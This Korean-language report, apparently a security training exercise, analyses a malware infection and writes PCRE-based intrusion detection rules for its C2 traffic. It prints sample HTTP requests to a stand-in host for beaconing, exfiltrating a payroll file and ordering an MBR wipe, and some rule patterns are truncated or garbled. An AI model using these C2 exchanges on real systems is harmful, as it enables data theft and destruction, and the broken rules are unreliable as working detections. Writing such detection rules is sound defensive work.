악성코드 C2 통신 분석 및 IDPS 규칙 작성 보고서

1. 과제 내용

- 최근 사내 다수 PC에서 악성코드 감염 피해가 발생함.
- 침해조사/분석팀 분석 결과, 해당 악성코드는 외부 C2(Command & Control) 서버와 지속적으로 교신하며 공격자의 지령을 수행하는 방식으로 동작.
- **발생일시**: 2025년 3월 5일(화) 14:32~15:03 (31분)
- **피해자**:
    - 총무부 총무1과 김○○ 대리
    - 영업부 영업2과 이○○ 과장

피해내용: 블루스크린 발생 → 재부팅 불가

악성코드 기능:

- C2와 주기적 통신, 지령 수신
- 암호화 파일 다운로드 및 복호화
- 내부 정보 유출 및 암호화 업로드
- MBR 파괴

2. 악성코드 C2 통신 페이로드 예시

1. Beacon (주기적 체크인)

```
POST /c2/beacon HTTP/1.1
Host: c2.example.net
User-Agent: winhttp/1.0
X-C2-Session: 9c8e1b2d3f4a5c6d7e8f90ab
Content-Type: application/json
{"op":"beacon","id":"KM-7F21A","host":"PC-ACCT-014","pid":1456,"ver":"1.3.5","tz":"+0900"}
```

2. Task pull (지령 요청)

```
GET/c2/task?bot=KM-7F21A&ts=2025-03-05T14%3A35%3A12Z&nonce=a1b2c3d4 HTTP/1.1
Host: c2.example.net
Accept: text/c2
X-C2-Session: 9c8e1b2d3f4a5c6d
```

3. 암호화 파일 다운로드

```
POST /c2/dl HTTP/1.1
Host: c2.example.net
Content-Type: text/plain
C2|DL|AES256|CHUNK|1|of|4|SHA256=1F2D3E4A5B6C7D8E9F00112233445566
DATA:QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo=  (예시 base64)
```

4. 내부 자료 유출

```
POST /c2/exfil HTTP/1.1
Host: c2.example.net
Content-Type: text/plain
C2|EXFIL|ZIP_AES|SIZE=1048576|PATH=C:₩Users₩kim₩Documents₩payroll.xlsx.enc|SHA1=deadc0de1234
```

5. MBR 파괴 지령

```
POST /c2/cmd HTTP/1.1
Host: c2.example.net
Content-Type: text/plain
C2|MBR_WIPE|CONFIRM=YES|SECTOR=0-63|SIG=deadbeef
```

3. IDPS 탐지/차단 규칙 (PCRE 기반)

R1 — Beacon(JSON 체크인)

항목	값
액션	✓ alert ☐ log ☐ pass ☐ drop ☐ reject ☐ sdrop
프로토콜	✓ TCP ☐ UDP ☐ ICMP ☐ IP
출발지	IP: ANY/ 포트: ANY
방향	->
목적지	IP: ANY/ 포트: [80,443]
SID	25031001
MSG	Trojan C2 beacon JSON.250310
PCRE	₩"op₩"₩s*:₩s*₩"beacon₩".*₩"id₩"₩s*:₩s*₩"[A-Z0-9₩-]{6,}₩" "op":"beacon"과 "id":"<에이전트ID>"동시 존재 시 탐지
PCRE 설명	공백/줄바꿈 허용(₩s*, s플래그) 단순 beacon 단어가 아닌 JSON 키 조합 기반 탐지

R2 — Task pull(지령 요청 URI)

항목	값
액션	✓ alert
프로토콜	✓ TCP
출발지	IP: ANY/ 포트: ANY
방향	->
목적지	IP: ANY/ 포트: [80,443]
SID	25031002
MSG	Trojan C2 task pull URI.250310
PCRE	`/c2/(?:task /c2/task또는 /c2/jobURI 요청 시 매칭
PCRE 설명	bot=또는 id=파라미터 + 최소 6자 ID 요구 경로+파라미터 동시성으로 오탐 줄임

R3 — 암호화 파일 다운로드(청크)

항목	값
액션	✓ alert
프로토콜	✓ TCP
출발지	IP: ANY/ 포트: ANY
방향	->
목적지	IP: ANY/ 포트: [80,443]
SID	25031003
MSG	Trojan C2 AES256 chunk marker.250310
PCRE	₩bC2|DL|AES256|CHUNK|[1-9]₩d*|of|₩d+|SHA256=[A-F0-9]{ 32,64}₩b C2|DL|AES256|CHUNK패턴 탐지
PCRE 설명	청크 번호/총 개수 + SHA256 해시 형식 동시 요구 암호화 파일 다운로드 프로토콜 특징 기반 매칭

R4 — 내부자료 유출(압축·암호화 업로드)

항목	값
액션	✓ alert
프로토콜	✓ TCP
출발지	IP: ANY/ 포트: ANY
방향	->
목적지	IP: ANY/ 포트: [80,443]
SID	25031004
MSG	Trojan C2 EXFIL ZIP_AES upload.250310

PCRE	`₩bC2|EXFIL|ZIP_AES|SIZE=₩d{4,}|PATH=[^
	C2|EXFIL|ZIP_AES패턴 탐지
PCRE 설명	SIZE 값 4자리 이상, PATH가 .enc확장자 파일
	유출·암호화 업로드 행위를 구체적으로 식별

R5 — 파괴적 지령(MBR Wipe)

항목	값
액션	✓ alert
프로토콜	✓ TCP
출발지	IP: ANY/ 포트: ANY
방향	->
목적지	IP: ANY/ 포트: [80,443]
SID	25031005
MSG	Trojan C2 destructive MBR command.250310
PCRE	₩bC2|MBR_WIPE|CONFIRM=YES|SECTOR=₩d+(?:-₩d+)?₩b
	C2|MBR_WIPE|CONFIRM=YES명령 탐지
PCRE 설명	SECTOR 단일/범위 지정 패턴 매칭
	파괴적 행위 명령 토큰 동시성으로 정확 탐지

4. PCRE 규칙 설명 요약

- R1: op=beaconid동시 존재 → 비콘 행위 탐지
- R2: /c2/task또는 /c2/jobURI + bot/id 매개변수 탐지
- R3: AES256 + CHUNK + SHA256 토큰 조합 → 다운로드 행위 탐지
- R4: EXFIL + ZIP_AES + .enc업로드 경로 → 정보 유출 탐지
- R5: MBR_WIPECONFIRM=YES+ 섹터 지정 → 파괴 명령 탐지
- R6: X-C2-*형태의 커스텀 헤더 탐지
- R7: Gh0st(RAT)문자열과 TASK토큰 동시 존재 시 탐지